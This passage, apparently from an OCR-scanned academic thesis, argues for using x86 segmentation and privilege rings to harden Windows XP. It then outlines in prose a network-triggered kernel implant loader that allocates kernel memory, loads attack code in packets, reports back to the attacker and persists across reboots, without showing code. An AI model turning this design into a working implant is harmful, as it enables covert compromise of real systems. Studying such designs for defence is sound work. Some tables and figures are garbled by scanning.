gate, a location specified by and within the sought after segment. This gate would allow
access to the routine only, and not to other parts of the segment, such as data structures
that hold information that the lower privileged user should not have access to. Gates
provide a lower privileged subject the ability to access higher privileged data at specified

points in the higher privileged object only.

Also, when switching context as in a multiprocessing environment, it is important
to ensure that when the instruction pointer changes to a subject which does not have the
same privilege as the current subject, this must be done in a controlled manner such that
the new, less privileged subject does not adopt the privilege level of the previous subject.
That way, user code is not executing as kernel code, for example, which could be
disastrous. An example of how inadequate privilege separation is exploited is through

the buffer overflow, which will be discussed in more detail in the next chapter.

H. MANAGING SYSTEM 1I/0O RESOURCES AND MINIMIZING COVERT
CHANNELS

Input/Output device security within a system is often neglected because of its

complexity and the need to optimize a system with respect to access times to and from
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devices. It has been shown as in [KA91A], that unless the I/O subsystem is properly
controlled, there are certain covert channels, or information tunnels, that can be exploited
to leak higher sensitivity data to a lower sensitivity subject (i.e. Top Secret to Secret), a
condition which would violate the system security policy. This virtualization limits the
number of global variables visible to lower level processes. These lower level processes
may be signaled by a Trojan horse operating at a higher level to pass information to a
lower level using storage channels. Timing channels may also exist, although they
require an outside clock source, before addressing timing channels, it is more beneficial

for system security if the storage channels are completely removed first.

A good example of a potential channel in the I/O subsystem is that presented by
[KA91A]. In it, the hard disk algorithm was attacked by having a higher level Trojan
horse either signal a ‘1’ by requesting I/O to one block and ‘0’ by requesting another.
The lower level process listening and writing the output, would look at the sequence of
accesses and by looking at the order, could determine the signal. This is relevant for
systems with more than one user, these users having different access classes (i.e. Top
Secret, Unclassified), commonly referred to as multi-level systems. To solve this
problem, one could rely on a synchronous, polling type of I/O algorithm, though this is
often viewed as extreme. A better method, however, would be to limit channels by
analyzing algorithms for subtle design flaws that might enable information to be passed
to a lower sensitivity level. Such care is necessitated even though some channels if

removed, could make the system unusable, and thus, can only be minimized.

One way to generalize protection of an I/O system is to represent I/O devices as
subjects, as was done in constructing the GEMSOS system [SCH85]. In this system, the
access class of an I/O device limits what information can pass to and from it. This
enables the security mechanisms of a system to check access requests of these devices
because they frequently attempt to access buffers and other processes’ memory spaces to

complete I/O requests. In this way, it is useful to describe it as a kind of shared library.

Another way to protect the I/O system, not with respect to covert channels, is
protecting I/O resources using the previously mentioned protection principles. 1/O

descriptor tables can limit access to 1/O relevant segments such as those that hold the I/O
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vector to specified supervisor processes. Making the I/O vector read only using segment
access types (i.e. Read, Write), can prevent the inadvertent or intentional corruption of
I/O relevant tables. Protection rings can be used in all of these components and can limit
which part of the kernel can gain access to these segments by blocking these resources

from underprivileged kernel subjects.

L. CONCLUSION

In conclusion, several security concepts have been described that are relevant to
system security. Where there are hardware architectures that contain these mechanisms
for implementing a secure operating system, they ought to be used by system designers to
build the highest assurance system possible. However, this is not always the case. In the
next chapter, I will focus on the Intel x86 hardware architecture, present these hardware
features as they apply to Windows XP and the presented x86 architecture, and discuss

how these features should be effectively used.
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III. INTEL X86/WINDOWS XP SPECIFIC RECOMMENDATIONS

In this chapter, the previous hardware requirements for high assurance systems
will be used to illustrate that, if developers of Windows XP desired, they could use the
available hardware architecture of Intel’s 32-bit x86 architecture, to help implement a
high assurance system.

A. INTRODUCTION

If the Windows XP operating system were to be redesigned for higher assurance,
the requirements that were mentioned in the last chapter ought to be considered as a basis
for improvements. The way the XP kernel uses Intel’s x86 hardware should be looked at
and refinements should be made to ensure Windows XP can effectively use the available
hardware features for high assurance. As a basis for the operating system internals, I will
refer to [SOLO00] as a reference to the constructs within the kernel and I will refer
primarily to the documentation from Intel, [INTP5], for a detailed specification of the

x86 32-bit architecture.

The reference monitor concept dictates that in order to ensure that all access
attempts within the system are mediated based on a set security policy, three
requirements are needed. These are that the Reference Validation Mechanism (RVM),
the code that enforces the security policy, must be tamperproof, always invoked, and
small enough to be analyzed and tested to ensure complete mediation [AND72]. The last
requirement itself is constructed of the notions that the RVM must contain all code
necessary to enforce the security policy, and that the RVM only contains what is
sufficient to do its job of mediating access attempts, (i.e. no extra code in the RVM

modules).

In our discussion, the term, operating system or system memory, will be used to
describe all code and data structures that operate at Windows XP’s higher protection ring,
commonly called kernel mode. The kernel, as defined in [AMES3], is the security
relevant portion of the operating system that ought to be separated from the remainder of
the operating system. This is referred to as the implementation of the Reference Monitor
in [CC99] or RVM. In Windows XP operating system terminology, it is important to
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note, the kernel is substantially larger than this, and includes the supervisor portion of
system, which does not carry out security relevant tasks, but that runs in kernel mode
with the security relevant portion. These terms will be used to describe Windows XP’s

attributes, so as to avoid confusion in terminology.

B. DOMAIN SEPARATION IN WINDOWS XP

The operating system in Windows XP is one big block of memory. It resides in
one, large address space, in which all instructions that operate at the highest privilege
level, hereafter referred to as Windows’ kernel mode, may address any data or jump to
any other instruction in kernel mode memory space. Though system programmers and
even Intel’s user manual may refer to this as the un-segmented memory model, segments
are still used, but all descriptors refer to the same memory [INTP5]. In the x86
architecture, no bit exists to turn off segmentation completely. There are bits to toggle
paging and to control varying virtual modes such as virtual 8086 mode (real mode), but
the segmentation hardware performs the address calculations, base and bound, and access
rights checking on every memory reference, regardless of whether the flat or segmented
model used. These calculations are performed by converting the logical address to a
linear address using the segment selector (unique identifier), which refers, in a table, to
the base address of the segment. The offset is calculated and compared against the limit
of the segment descriptor that is loaded to complete the operation. If paging is used, the
linear address is converted in hardware to a physical address, and if not, they are the same

address.

Windows XP does not provide a separation between security relevant portions of
the operating system, and non-security relevant portions. In an ideal implementation,
according to [AMES3] and [CAEQ02], a privilege level separation should exist in order to
protect the implementation of the Reference Monitor from other operating system code,
such as device drivers and functions that do not handle shared resources in a system.
This is to provide the highest possible assurance that the system’s security policy is
always enforced and the system never enters an insecure state. In this section, a case is

made for creating a privilege separation between the kernel, the security policy enforcing
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portion of the operating system, and the supervisor, the portion of the operating system

which does not handle shared resources between users.

1. Privilege Levels in Intel’s 32-bit Architecture

Stored in the segment descriptors that refer to segments are two bits that signify
the privilege level of the segment. These bits stand for four privilege levels, (i.e. 0, 1, 2,
and 3, 0 being the level of highest privilege) and are used in the Windows XP operating
system to separate kernel mode from user mode, using only the first and last privilege
levels, 0 and 3. [INTP5] To assist in the enforcement of privilege level protections, there
are three data structures that hold privilege level information. The CS segment register
holds the current privilege level (CPL) of the currently running program. All segment
descriptors have a descriptor privilege level (DPL) field, which holds the referred to
segment’s privilege level. Finally, the segment selector that is created by a procedure
holds the requestor’s privilege level (RPL), which is to say, the segment selector is
loaded into a segment register along with the privilege level requested by the calling

procedure.

In the Intel 32-bit architecture, there are two different kinds of privilege level
checks that are made when access to segments are attempted. The first occurs when
access to data is involved, (i.e. to a data segment) and the second occurs when control is
being transferred, such as to a code segment. When a data segment selector is loaded, the
check is made to see if the lower privilege level of the CPL and RPL is of high enough
privilege (greater than or equal) to the DPL of the segment pointed to by the descriptor
holding the DPL. If the CPL is lower than the desired segment’s privilege level, a
transfer into a higher privileged running segment is necessary. That brings us to the next
kind of privilege level check, which occurs upon control transfer. Typically, control
transfers occur when jump, call, return, interrupt and interrupt return instructions are
executed. According to [INTP5], “near forms of the JMP, CALL, and RET instructions
transfer program control within the current code segment, and therefore are subject only

2

to limit checking.” This is done to ensure execution is not being passed into a segment

not in the addressable domain of the execution entity. It further describes, that, “the
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operands of the far forms of the JMP and CALL instruction refer to other segments, so
the processor performs privilege checking.” This is done either through selecting the
descriptor of another executable segment, or by selecting a call gate descriptor to access a
segment of higher privilege level. When a call gate is not used, only the CPL and DPL
are checked to see if the privilege level of the calling segment is equal to the called
segment, or, “the segment is a conforming code segment, and its DPL is less (more
privileged) than the CPL.” Conforming in this context meaning that the called segment
adopts the privilege level, in this case lower privilege level, of the calling segment.
When a call gate is used, a check is made of the following privilege levels: 1.) the current
privilege level, 2.) the requestor’s privilege level, “of the segment selector used to specify
the call gate,” 3.) the descriptor privilege level of the gate, and 4.) the privilege level of
the segment descriptor of the sought after code segment. The checks are made, when

using gate descriptors, according to the following criteria [INTP5]:

For a JMP instruction to a nonconforming segment, both of the following privilege rules
must be satistied: otherwise, a general-protection exception is generated.

® NMAX (CPL.RPL) < gate DPL

® Destination code segment DPL = CPL

For a CALL instruction (or for a JMP instruction to a conforming segment). both of the
following privilege rules must be satistied: otherwise, a general-protection exception is
generated.

® NMAX (CPL.RPL) < gate DPL

®  Destination code segment DPL < CPL

Figure 1. Jump and Call Instructions for the x86 Architecture

2. Advantages and Disadvantages of Kernel Separation

Now that we have discussed Intel’s framework for creating separate execution
domains for the Reference Monitor and the supervisor, we describe the reasons for using
such mechanisms to create this separation between the security and non-security relevant

portions of the code.

There is one main benefit of having only one execution domain for all system

code, in which the segment descriptors do not change for jumps, calls and interrupts,
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because the privilege level never has to change. There are gains in performance when
using near calls versus using far calls. Far calls are used when referring to address space
outside the immediate segment, as pointed out in [INTP5] and if a privilege level changes
through a gate or a transfer of control to a conforming code segment, the corresponding
call would be a far call. As long as near calls are used, these extra operations are not
necessary and processor time is saved. The following diagram shows the various far and
near calls that the X86 architecture supports and the processor time they require to

complete the instructions [DETO1].

Clock Cycles Number
_Operand ‘38(;’__ 486 Pentium of Bytes £Apf°d%&
near relative T4 & 1 5 ES8
near indirect FF
using register T+ & 2 7
using memory 10+ 5 2 2+
far direct 17+ 18 4 7 9A
far indirect 22+ A7 5 6 FF
Table 2. Far and Near Calls

The disadvantages of using only one privilege level for a single kernel mode are
directly related to the protection of the Reference Monitor implementation, the RVM. If
a RVM is to be considered tamperproof, there has to be a separation between the most
vital security features and the non-security related supervisor, just as there is a separation
between the system execution domain and user execution domain. If the RVM is not
tamperproof, it may not be always invoked due to its possible deactivation by errant or
malicious code. Further, the RVM, if no separation exists between the kernel and
supervisor parts of the operating system, may have the necessary functionality, but what

is in the RVM cannot be called sufficient (i.e. limited to only that security functionality).

The ideal construction would allow for a privilege level separation between the
RVM and other operating system code. This would include using privilege level 0 for the
higher, kernel privilege level and privilege level 1 for the less privileged operating system
mode. In the X86 architecture, there are two bits, or four privilege levels, to designate

the privilege level of an executing segment. The first two levels can be used as was
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described, in the kernel, and the last two can be used to differentiate higher privileged
user mode processes such as daemons and DLL routines from the less privileged
applications, like solitaire. This gives the RVM, interrupt vectors, auditing mechanisms,
paging control code, etc., the protection they need from device drivers, OS Extensions,
and non-security related functions, that normally would reside in the kernel. Privilege
levels, combined with segmentation provide the basis for this kind of protection. If a call
is made to a privilege level 0 code segment, that is not available to a privilege level 1
system thread that is executing, then a gate can be used by the RVM to ensure the access
is to a specified location and not to arbitrary portions of higher privileged segments, as is
the case with Windows 2000/XP. Locating device drivers within the same kernel space
as the security functions of the kernel is dangerous. From a security standpoint,
developers of the operating system have to be trusted, but device driver developers must
be trusted as well. Further, the need for device driver verification would be reduced
significantly, because the system would not have to trust some certification process
outside of the system. The next section will discuss more about device driver verification
and how using hardware effectively will reduce the amount of verification needed. In
summary, dividing the kernel into rings will allow for a logical separation of the security
and non-security related portions of the kernel and will provide for a verifiable reference

monitor implementation.

C. ON THE QUESTIONABLE SECURITY VALUE OF DEVICE DRIVER
SIGNING

As it was mentioned previously, the device drivers in Windows 2000/XP run in
the same security context as the reference validation mechanism. This is to say, they
operate at Ring 0, with full access to the only segment descriptor in the kernel.
Therefore, they can potentially turn off all access checking, thus disabling the kernel
through tampering. As it was pointed out in [SOLO00],

“Although each Win32 process has its own private memory space, kernel mode
operating system and device driver code share a single virtual address space.
Each page in virtual memory is tagged as to what access mode the processor must

be in to read and/or write the page.... In other words, once in kernel mode,
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operating system and device driver code has complete access to system space
memory and can bypass Windows 2000 security to access objects.... Because the
bulk of the Windows 2000 operating system code runs in kernel mode, it is vital
that components that run in kernel mode be carefully designed and tested to

ensure that they don’t violate system security.” [SOLO00]

The answer to this problem was the driver signing and verification system
[MICO1]. This mechanism simply warns the user if an unsigned driver is to be loaded by
the operating system. Drivers are tested at Microsoft at Windows Hardware Quality Labs
(WHQL), and have been since 1998 [MICO1]. When a driver has been tested, it is signed
using a private key from Microsoft and delivered to the vendor. Thus, when the driver is
installed, the operating system can determine whether or not it has been altered since
testing at WHQL. This is done based on a user-defined driver acceptance policy, which
enables the user to choose to Ignore, Warn or Block drivers whose signatures cannot be

validated by the system.

There are several problems with this arrangement. First, we are assuming that the
user will be responsible and not install the unsigned, possibly malicious or defective
driver by setting the driver policy to Block unsigned drivers. Though this may happen in
some cases, it is not a one hundred percent solution to the problem because the user may
want his device to work regardless of whether he understands the security implications of
this act or not. In fact, the user may be a malicious insider preparing for an attack on the
system at a later date. Also, the user may think that he is installing a device driver that is
from a reputable source, however, it was replaced at some point before it was checked,
signed, and distributed to the user by an attacker. Another potential problem is that a
malicious developer either at Microsoft, or someone who has stolen the private key, may
have signed a driver that should not have been signed simply because he wants to mount
an attack on any machine that uses that driver. [CAEO02] discusses the Plug and Play
driver vulnerabilities that were discovered, which could in fact have been introduced by a
malicious developer. Other possibilities include a subverted driver checking mechanism,
or if the private keys used to sign the device drivers were somehow obtained, illegally,
from Microsoft Corporation. Such was the case in 2001 when Microsoft certificates were

erroneously given to individuals posing as employees at Microsoft [ANDO02].
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The essence of this problem lies in the fact that Device Drivers may be designed
with malice in mind, or may just be poorly engineered. The only true protection that can
be used to protect the reference monitor is to separate the device driver mechanisms
through the use of segmentation, access checking and separate protection rings. This
enforces the principle of least privilege by limiting the ability of the device drivers to
gain access to the reference monitor and alter it, thus making it useless. The following is
a diagram from Intel’s Pentium Processor System Programmer’s manual [INTPS5], which

illustrates the division between the device driver and higher privileged code.

PROTECTION RINGS

OPERATING SYSTEM KERNEL

OPERATING SYSTEM
SERVICES (DEVICE
DRIVERS, ETC.)

APPLICATIONS

APM78

Figure 2. Protection Rings in the x86 Architecture.

D. ATTACKS USING STACK MANIPULATION

One of the most prevalent attacks on information security on an application and
its underlying operating system is the buffer overflow attack. These are typically divided
into stack and heap overflow attacks. Hackers routinely utilize buffer overflow attacks to
gain root or administrator access to a system by exploiting certain memory bounds
checking vulnerabilities in user applications. These applications typically do not check

the bounds of the buffers that are used in a processes’ memory, so that when an attack is
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commenced, such as with the stack overflow, the input into the buffer is written to stack
space to which it should not be written. Basically, more is written into the buffer than
can be held by it, so the function frame data that was saved on the stack prior to the
buffer space being pushed to the stack, such as the return pointer for the function, is
overwritten, allowing the return to an unauthorized space in memory. By overflowing
the contents of a buffer onto the return address for the function called, the hacker is
allowing the instructions to which this process ultimately returns upon the completion of

the function, to have the inherited privileges of the calling thread.

There are several approaches that can be used to reduce this kind of vulnerability.
As is described by Mixter in his tutorial [MIXT], several approaches can be taken to
catch these vulnerabilities when they appear. SUID wrappers are mentioned in the
tutorial but are primarily used in UNIX based systems and are not relevant to Windows,
thus they will not be explored as a solution. Also, compilers, which carry out bounds
checking of variables, are useful; however, one cannot assume application programmers
will use only these kinds of compilers because this more likely depends on programmer
preference or what the software’s previous versions were written with. Other methods
involve the use of ‘canaries’ or values that are placed just before the return pointer that, if
modified, will prevent the return to the address specified, because that was probably

overwritten as well.

One possible improvement, from the system programmer’s perspective is to make
all stack and heap segments non-executable both in the kernel and user space. This
technique was one of the solutions implemented in Multics, which is described in
[KARO2]. This can be achieved through hardware mechanisms, already in place when
segmentation is used, to stop the instruction pointer from entering stack memory space.
In the Intel x86 architecture, system programmers can specify the access restrictions on a
segment by altering flags such as read/write in data segments and read/execute in code
segments. Stack and Heap segments are special data segments, and therefore, cannot be
executed. However, when flat model applications run, and segments are not used, stack
and heap overflows can allow the attacker to execute code stored in the stack because the
segmentation protections are not in place. In kernel memory where no segments are

used, the same vulnerability exists. Kernel buffer overflows vulnerabilities, such as the
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Microsoft ntdll.dll (a kernel mode DLL) IIS web server vulnerability, have resulted in
arbitrary code being launched at privilege level 0 with the attacker being able to operate

at the same privilege level as kernel code [CERO03].

Though segmentation will not solve the buffer overflow problem, when
segmentation is used, the impact of an overflow is reduced because as memory accesses
attempt to cross a segment boundary, a check is made prior to the transfer of control from
one segment to another, allowing previously mentioned protection mechanisms such as
hardware privilege levels, segmentation, and access control bits (i.e. read/write) to be
invoked to check if access is allowed into the new segment. Further, as mentioned in
[INTPS], there is no performance penalty for utilizing the access permissions in
segmentation, because segmentation access checking is encoded in hardware, is always

executed, and is done before any memory operations have started.

E. ACCESS CONTROL GRANULARITY

In Windows 2000, a large amount of access control within the kernel is done at
the paging layer. Whole portions of code may be marked read only or read/write by
setting a bit located in the CRO register, which governs the accessibility of a page

[INTPS5]. The following is a diagram of this register with the pertinent bits highlighted.
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Figure 3. CRO Register in the x86 Architecture

The Write Protect or WP bit, (bit 16) is used to determine whether the page is read only
or read/write. The Protection Enabled or PE bit (bit 0), enables protection at the segment
descriptor level, which is preferred over page level protection for several reasons. The
only true benefit to having page level memory protection is that without segmentation, it
provides a minimal amount of protection within the kernel for certain pages. For
example, Windows 2000/XP marks a page read only if it is a code page, either for
NTOSKRNL.EXE or for device drivers [SOL00]. The weaknesses of this approach to
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protecting memory in the kernel are important to consider. First, without segmentation, it
is not difficult in a flat memory-addressing scheme for an attacker with kernel mode
access, such as when the page managing code of the kernel is subverted, to enable writing
to a read only code page and to change the code to act in a manner conducive to his
attack. Also, marking certain areas non-executable is not possible because, intuitively,

any page that is marked read is executable as well.

Also, according to [SOLO00], system code write protection does not apply to
systems with 128 MB or more of physical memory. This is because larger pages are used
instead of smaller ones, 4 MB versus 4 KB, and because a 4 MB page may have more
than just code in it, it is useless to assign code protection to a page with data in it as well.
With regard to segments, the size is not fixed to 4 KB or 4 MB, rather, the size is variable
up to the entire kernel memory space. Segmentation, not paging, provides the correct
access granularity for sections of code and data, especially within the kernel when more

than one privilege level is used.

F. CONCLUSION

In this chapter, the principles for the effective use of hardware presented in the
previous chapter can be implemented using the x86 hardware. With the Pentium
processor and associated chipset, proper protection of the system is available to enable
segment level protection, buffer overflow prevention, making the RVM tamperproof,
isolating device drivers, and separating non-security relevant operating system code from
security relevant code. This is done through the use of hardware mechanisms such as
segments, privilege rings, and proper access control granularity (i.e. segment level and

not page level).
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IV. SUBVERSION LINKER/LOADER DESIGN

A. INTRODUCTION

The dynamic subversion artifice is an attempt to show that it is not difficult for an
attacker with some knowledge and access to a deployed system, to implement and install
different kinds of subversion artifices at will, after the system has been shipped and is in

an operational status.

The subversion is composed of three fundamental design portions: the Bootstrap
Loader which acts as the resident, always-on portion of the subversion; the linker/loader
which handles the loading, relocation and persistence of the artifice code; and the actual
artifice attack code itself, which can be swapped in and out as the type of attack changes.
The bootstrap loader is the main interface between the machine and the outside world,
and can be thought of as the resident, always-ready-for-a-trigger portion of the
subversion. When the linker/loader code is sent to the system, along with the attack code,
the linker/loader will provide the artifice with a context in which it can run. The loaded
artifice itself then runs as any other operating system code would. It acts as if it were in
the system because it was either, originally placed there by a malicious developer,
introduced later in the lifecycle as stated in [MYES80], or even introduced to the system
through a buffer overflow. It can be jumped to, or called at will to activate the
subversion. For the purposes of the linker/loader, the target modules or nature of the
actual loaded attack code is not important. From the perspective of the bootstrap loader,

the linker/loader is not important.

The way that a dynamic subversion differs from a normal subversion or trapdoor,
is that with a dynamic subversion, the target operating system component of the attacker
is changed at will. For example, on one day, the attacker may wish to export IPSEC keys
from the system, and on the next day, the attacker may wish to corrupt the integrity of
auditing data entries. With the dynamic subversion artifice, the attacker can load any
malicious patch into the system while it is running, have it linked and loaded into a semi-

permanent storage location and finally, store it for later use.
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The linker/loader itself, which is the second major portion of the overall
framework, and the portion that this thesis focused on, is the means by which the
dynamic portion of the artifice finds space to operate or is loaded, is relocated in its
allocated space of memory, and finally, is restored upon system boot. The term ‘loading’
is used to describe the linker/loader’s function of finding memory for the artifice to reside
in kernel memory, and to move the artifice into the memory area(s) that were found. The
term ‘relocation,’ is used to show that the attack code that is loaded into the space that is
found for its execution, must be able to refer to parts of itself within that allocated space,
and, unless it is completely self-referencing in a position-independent manner (i.e.,
relative jumps and memory accesses) there are portions of the code which must be able to

point to fixed memory addresses.

The primary goal of this portion of the dynamic subversion artifice is to accept
implantable, artifice code and prepare it to run in the target machine by giving it a context
in which to run. The reason for this is that in order for this kind of attack to be
generalize-able, any kind of artifice code must be manageable by the linker/loader. Also,
placement within system memory does not have to be the same for every attack that is
loaded, nor must the loader place it directly in the module whose behavior is being
altered during the attack. That is, all the loader must do is allocate or find a space large
enough to hold the artifice and this allocated memory will suffice. Also, the task of
relocation does not have to be done at the target machine; rather, it can be done before it
is sent to the machine being attacked. Further, although obfuscation, or deliberate hiding
is not a goal of this exercise, it is in fact very difficult to discover the actions of the
linker/loader or the entire artifice for that matter. Though there are myriad different ways

to implement the linker/loader, the main point is that it is not hard to do.

B. ASSUMPTIONS

Before exploring the specific design decisions that were made concerning the
Dynamic Subversion Linker/Loader, it is useful to discuss the assumptions that are being

made about the environment in which the Linker/Loader will operate. Keep in mind that
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these assumptions do not overly constrain the experiment by assuming away too much,

thereby causing the spirit of the experiment to be lost.

First, we assume that the platform is Windows NT based, which is to say it could
be carried out on Windows XP, XPE (embedded), 2000, or the original NT operating
system. Readers should note that this attack’s general blueprint can be applied to another
system such as Linux or a BSD based Unix OS, and that this type of attack does not just
demonstrate a vulnerability of Windows-based machines. The choice of this system is
just as good as another for this demonstration because, from a malicious attacker’s
viewpoint (i.e. someone with access to the source code or other representation of the
systems during its lifecycle who would like to modify the system code in some
unauthorized manner), it is relatively easy to do regardless of the target machine. The
point is that this could be done to any system whose protection mechanisms and reference

monitor have not been verified to be safe from tampering.

Next, we assume that before the linker/loader is put into place, that the bootstrap
mechanism has been properly installed in the target machine, and operates as specified.
Just as the implanted artifice itself must rely on the linker/loader, the bootstrap
mechanism must be relied upon to provide several services for the linker/loader such as

triggers, an initial place to run in memory, and (optionally) feedback to the attacker.

Third, we assume that the means for the attack to be mounted upon the target
system is a network in which the attack server is able to send/receive packets to/from the
target machine. This is not an exercise in host-based firewalls, nor one in the general
field of network security. Though the project recognizes that proper security mechanisms
could potentially block the attack by using firewalls or intrusion detection systems, the
point that a malicious insider could carry out this attack on any machine (including a
firewall or intrusion detection system!) in the world running this operating system is

reason enough to take this threat seriously.

Fourth, we assume that the linker/loader is able to allocate memory on the target
system, by using a function call. This means it must be able to call kernel level functions
and specify the size of the buffer space when calling or simply find the needed space in

an unused portion of memory. There are several hacker tricks documented on the
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Internet which specify ways to do this, one of which will be utilized by the linker/loader
to find memory in which to implant the artifice. For the purpose of showing the ability to
cope with split memory allocations, which is to say that not all of the memory needed can
be found in one contiguous block, we show furthermore that the linker/loader and the

attack code are able to cope with the attack artifice being loaded into two separate spaces.

Also, by design, we assume that the address for calling the kernel mode memory
allocation function is static. This assumption is made because ‘“ntoskrnl.exe,” which
contains the kernel-mode instructions for the operating system, including memory
allocation functions, is relatively static from boot to boot as far as the base load address is
concerned. Therefore, the author did not find it necessary to find the address on every

boot, though it could have been accomplished relatively easily.

Last, though we would like to assume that persistence is always an option, we
may assume that permanent storage is not always available. If it is available, it allows the
attacker to reestablish the artifice upon system boot. If not, the spirit of the experiment is
not lost because this does not detract from the ability to implant the artifice repeatedly in

the first place after each system boot.

C. HIGH LEVEL DESIGN

The design for the linker/loader can best be described as a sequence of phases
because the linker/loader has a definite start and finish of execution. Before its execution
the bootstrap loader code must be activated. When the linker/loader completes, the
implanted artifice is started. Because the implanted artifice relies on the linker/loader
code to give it a context, there must be a definite agreement between these two portions
as to the interface presented by the linker/loader to the exploit application that specifies
the upper layer, the delivered artifice code, what services it can expect from the lower
layer. In general, the dependency is driven by the order of execution, because the
linker/loader completes before any of the implanted artifice code is executed. There is
however an interface that is not time dependant that relies on predictable communication
between the two portions, namely the means by which addresses are relocated. Design

decisions regarding the interfaces will be discussed in the next section.
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This design takes into account the requirements mentioned previously as well as
the assumptions made about the environment. The linker/loader has several stages in
which to carry out its portion of the attack, which is to set up the environment for the

implantable artifice. These three stages are explained below.

In the first stage, the task is to find a portion of memory large enough to fit the
entire implanted artifice into at least two memory areas. This is to make the linker/loader
more robust so that is possible to enable support for non-contiguous memory. The
artifice could reside in multiple areas, no greater than the number of functions, thus
allowing maximum flexibility for finding memory in a memory restricted system. Given
that this portion can be allocated by some other means such as scouring the memory
space for a large collection of initialized, but not used space (consecutive 0’s) or calling a
memory allocation function, an address is returned, as feedback, to the attacker so the
relocation of the implantable artifice can be done at the attacker’s own machine. In the

case of this design, the memory allocation is done using a function call.

Stage I:

1. The implantable code is prepared for use by the attack server (i.e., placed in the
correct directory).

2. The find memory function is sent to the target machine with specific parameters (size
for example) using the bootstrap loader’s load function and is stored in the bootstrap
loader’s buffer area (1% buffer area).

3. The trigger is set for the find memory function using the bootstrap loader’s set trigger
function.

4. Send the trigger to activate the find memory function.

The specific address of the beginning of the allocated buffer area (2““l buffer area) is

returned as feedback to the attacker’s own machine, or a null if the operation failed.

9]
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Figure 4. Stage I of the Linker/Loader

address, and loaded into the allocated memory space. The attack

internal jump table, which enables the attack code to reference its modules, which may be
distributed in many disjoint memory areas.
machine so that when the artifice is finally loaded, the artifice code will run properly.
Next, the artifice code is divided based on the maximum transmission unit of the network
being used, the size of the loading instructions which will be placed in each packet in
front of the artifice code, and the total size of the artifice code. The following illustration

shows how this is done.
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Figure 5. Dividing the Artifice into Payload Sized Pieces, and Joining Each Piece

with Loading Instructions

The loading instructions in each packet are then relocated to place the artifice code in the
allocated memory space when that packet is being loaded. These instructions that move
the artifice into the allocated memory spaces can be found in Appendix A. Finally, one
packet at a time is sent to the target machine to be loaded by the bootstrap loader’s
loading mechanism into its buffer space. What will ultimately be loaded into one
allocated memory space may have to be loaded using many packets. Each of these
packets will have to have a trigger set and run to execute the loading instructions which
will load the artifice correctly. After the packet with a portion of the artifice contained in
the packet has been placed in the bootstrap loader’s buffer space, the trigger is then set to
activate the linker/loader’s loading instructions at the beginning of the packet payload.
The trigger to execute these instructions is then activated by a run trigger packet to load
the artifice code into place. These last steps are repeated until all of the packets are sent

to the target machine and loaded properly into the allocated memory space.
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Two points should be made, regarding the subversion linker/loader, that have not
been mentioned previously. First, although we use a feedback function to simplify the
experiment, no feedback function is required to carry out such an attack. One could load
the linker/loader itself completely in the target machine and the attack could be carried
out without sending any information back to the attacker. This kind of arrangement
would be required to load the artifice on a one-way network, such as some military
networks. Second, it is important to note that each loaded component’s structure, or
composition is decided before the attack begins. The attacker must decide how many
memory allocations to request and decide which functions will be placed in each

allocated memory space before the code is divided up by the linker/loader.

Stage II:

1. Based on the returned address, relocate the attack code’s jump table so that it is ready
to execute when loaded.

2. Based on the size of the attack code, the size of the loading code and the maximum
transmission unit of the network being used, divide the code into packet payload sized
units taking into account the header and payload size. The loading code is a part of
this packet, thus will be placed in the payload at the beginning of each payload. The
remainder of the payload is the artifice code divided based on the amount of space in
the payload left to use.

3. Relocation is executed on the loading instructions so that the artifice will be loaded in
the correct, allocated memory space.

4. Send the packets to the target machine, one at a time, setting the trigger and executing
the trigger in between each load using the bootstrap loader’s load, set trigger and run
trigger functions. Once this is completed, the artifice code is in place and ready for a
trigger to be set and run for its execution.
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1.) Based on the return address, the attack code’s jump table is relocated.

1.) Based on the size of the attack code, the size of the loading code and the
maximum transmission unit of the network being used, divide the code into
packet payload sized units taking into account the header and payload size.

3.) Relocation is executed on the loading code portions of the packet payloads,
to load the artifice into the correct, allocated memory space.

4.) Send the packets to the target

machine, one at a time, setting
the trigger and executing the trigger
in between each load using the
bootstrap loader’s load, set trigger

packet with and run trigger functions. Once this

artifice and loading is completed, the artifice code is in

code payload place and ready for a trigger to be
set and run for its execution.

feedback
Figure 6. Stage II of the Linker/Loader

The third stage is executed once the artifice is in place to enable the artifice to be
persistent between system boots. The persistence function is loaded first by sending the
function in a packet to be loaded by the bootstrap loader. Although long-term storage is
not always a guarantee, especially in embedded systems, we assume that, in some cases,
it does exist, and we will use this for persistence of the artifice from boot to boot. The
store/persistence function will be loaded first, and, when it is activated by subsequent set
trigger and activate trigger packets, it will save the contents of the allocated buffer to
long-term storage. When the system is rebooted, the restore function is loaded, its trigger
is set, and then activated to allocate memory for the stored artifice. Based on the new

allocated address, the artifice is reloaded into the new location, and relocated to the new
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location. Now it is ready for a new trigger to be set for the artifice, enabling it to run as it

did prior to system reboot. The reasons for handling restoration in this manner will be

discussed in the next section. It should be noted, that the restoring code would detect

whether the system’s configuration had changed substantially, and decide not to restore

in this manner. A substantial change would be a change in the bootstrap loader’s buffer

area, which would create a situation in which the restoring code would not know where

the buffer space is. In this case, feedback would be returned indicating that the

restoration failed.

—

Stage III:

The persistence code is loaded into the target machine.

The trigger is set to start the store persistence function.

The trigger is sent to find a location on disk or other long term media, and the code is
stored to long term media

The location of the artifice on the long-term media is returned as feedback to the
attacker.

When the system is rebooted, the restoring code is loaded into the bootstrap loader’s
buffer area in the target machine.

A trigger is set to reload/relocate the artifice from the long-term storage media to the
new allocated memory space.

When the attacker wishes to re-establish the attack code, the trigger is activated to
restore the code into the new allocated memory space.

When this is completed, a new trigger is set for the artifice’s reactivation and
feedback is sent to the attacker indicating that the attack is ready to be activated.
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Figure 7. Stage I1I of the Linker/Loader

D. DETAILED DESIGN DECISIONS

As we look at the design of the various phases, it is obvious that we must make a
few design decisions in order to implement the attack in the specific experimental setup
for this thesis research. For the first phase, it bears mentioning that it does not matter
where in kernel memory space the allocated buffer will be located. The location

independent nature (i.e. relative jumps and memory references) of the linker/loader code

45



as well as the implanted artifice allows for a context to be specified once the memory
space is found. The number of relocations needed for the artifice code is drastically
reduced by location independence, thus only the jump table must be relocated when the

memory is found.

Second, we use four functions provided by the bootstrap loader: feedback, load,
set trigger, and execute (run) trigger. These four functions, provide the ability to
(optionally) send feedback to the attack server, load any instructions to be executed into
the buffer area of the bootstrap loader, set triggers for executions that are to be made, and
trigger executions to jump to instructions that must be executed to complete the attack.

The functions are vital to the linker/loader and they must work properly.

Next, the memory allocation scheme for the linker/loader is to use a simple
memory allocation function provided by the kernel. This simplifies the task of finding
